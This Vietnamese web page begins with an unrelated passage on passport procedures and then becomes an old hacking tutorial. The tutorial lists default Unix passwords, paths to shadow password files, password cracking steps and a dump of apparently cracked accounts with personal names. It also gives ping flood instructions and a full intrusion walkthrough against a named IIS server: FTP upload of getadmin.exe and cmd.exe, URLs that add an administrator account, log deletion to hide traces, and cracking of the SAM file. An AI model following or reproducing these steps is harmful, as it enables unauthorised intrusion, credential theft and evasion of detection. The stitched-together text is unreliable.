4 - Nộp đơn + lệ phí (200.000 đồng/ người) tại Phòng công an quản lý xuất nhập cảnh cấp tỉnh/ thành, nhận biên nhận hồ sơ và giấy hẹn (tùy tình hình thực tế, có thể từ 10 ngày trở lên). Người nộp đơn có thể cha mẹ, con hay vợ chồng có cùng hộ khẩu hoặc người đại diện theo quy định của pháp luật.

5 - Người đến nhận Hộ Chiếu phải là người đứng tên trên hộ chiếu, mang theo biên nhận và giấy Chứng Minh Nhân Dân.

Bạn có thể xem thông tin chi tiết về việc cấp hộ chiếu trên website: www.vnimm.gov.vn

Giấy thông hành là giấy tờ có giá trị thay hộ chiếu dùng để xuất cảnh, nhập cảnh Việt Nam

Giấy thông hành hồi hương là một loại Giấy thông hành đặc biệt, được cơ quan có thẩm quyền của nhà nước Việt nam cấp cho những công dân Việt Nam định cư ở nước ngoài hồi hương về Việt Nam.

Thẻ căn cước và Giấy CMND là tên gọi khác nhau của cùng một loại giấy tờ ghi nhận về nhân thân của một công dân.

Với ý nghĩa trên thì Giấy thông hành là một loại giấy tờ khác với Thẻ căn cước hay Giấy CMND.



Huong dan hack

Ta cần những gì để bắt đầu?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` greenbiggrin.gif greenbiggrin.gif )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)

2 . ) Thế nào là một địa chỉ IP ?

_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte - > !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn ``do not show ip`` người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ ``systat –n ``, và biết được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn
( Tài liệu của HVA )

3 . ) Làm thế nào để biết được địa chỉ IP của mình ?

_ Trong Window : vào Start Run đánh lệnh “winipcfg” .
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns ”
_ Thông qua một số trang Web có hiển thị IP .

4 . ) IP Spoofing là gì ?

_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!
( Tài liệu của HVA )

5 . ) Trojan / worm / virus / logicbomb là cái gì ?

_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) wink .

6 . ) PGP là gì ?

_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác .

7 . ) Proxy là gì ?

_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter.

( Bài viết của Z3RON3 – tài liệu của HVA )

8 . ) Unix là gì ?

_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .

9 . ) Telnet là gì ?

_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .

10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau :

Account-------------------------Default Password


Root----------------------------------------------- Root
Sys------------------------------------------------ Sys / System / Bin
Bin------------------------------------------------ -Sys / Bin
Mountfsy------------------------------------------M ountfsys
Nuuc----------------------------------------------- Anon
Anon----------------------------------------------- Anon
User----------------------------------------------- -User
Games---------------------------------------------G ames
Install-------------------------------------------- --Install
Demo----------------------------------------------- Demo
Guest---------------------------------------------- Guest


11 . ) shell account là cái gì ?

_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .

12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?

_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như :

/etc/passwd

mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng này :

userid:password:userid#:groupid#:GECOS field:home dir:shell

trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng crack một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình ``CrackerJack`` hoặc ``John the Ripper`` để crack .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào .

13 . ) shadowed password là cái gì ?

_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt những đường dẫn sau :

CODE
AIX 3 /etc/security/passwd !
or /tcb/auth/files/ /
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
maps/tables/whatever >
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20


Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ nó đã hết hiệu lực rồI :

CODE
arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh


Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem

Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu.

Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân....

Người quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx nhưng đã đuợc nguòi quản trị của host này ``map`` từ 80 thành 8080.

( Tài liệu của HVA )

15 . ) DNS là gì ?

_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 -- > localhost và localhost--- > 127.0.0.1 .

( Tài liệu của HVA )

16 . ) Đôi điều về Wingate :

_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > . Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD :

CODE
telnet wingate.net
WinGate > victim.com 23


ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó .
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 .
+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate > ” thì bạn đã tìm đúng máy đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng .

17 . ) Đôi điều về Traceroute :

_ Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :

CODE
C:\windows > tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms


Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :

CODE
host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms


+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error ``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message ``Port Unreachable``. Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname

( Tài liệu của viethacker.net )

18 . ) Ping và cách sử dụng :

_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ ``ping`` như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm đó sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu host đó ``pong`` lại có nghĩa là host đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping địa_chỉ_ip``, mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ

CODE
``ping ip.address -t``


Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:

CODE
``ping -l (size) địa_chỉ_ip ``


Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là ``trip time``). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.

( Tài liệu của HVA và viethacker.net )

19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :

_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ` FTP `. VD :

c:\Ftp www.dodgyinc.com

( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :

CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):


Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous” trong user nó sẽ xuất hiện dòng sau :

CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:


Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử dụng “`Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :

CODE
Cd /c


Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thư mục `cgi-bin` . Nếu như bạn may mắn , bạn sẽ tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt `cgi-bin` vào nơi mà ta vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào greenbiggrin.gif greenbiggrin.gif .
_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file quan trọng nhất đó là `getadmin.exe` và `gasys.dll` . Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?IUSR_VDODGY

Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :

CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!


Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :

http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2 0hacker%20toilahacker%20/add

dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần đánh lên IE lệnh :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday

Vậy là xong rùi đó , bạn hãy disconnect và đến start menu - > find rồi search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd : toilahacker ) .

Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu vết bạn hãy vào `Winnt\system32\logfiles` mở file log đó rồI xoá những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :

http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03

xong rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` . Mục đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST& f=6&t=11566&s=
Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hơn .

Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v…

Cookie là gì ?

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site.

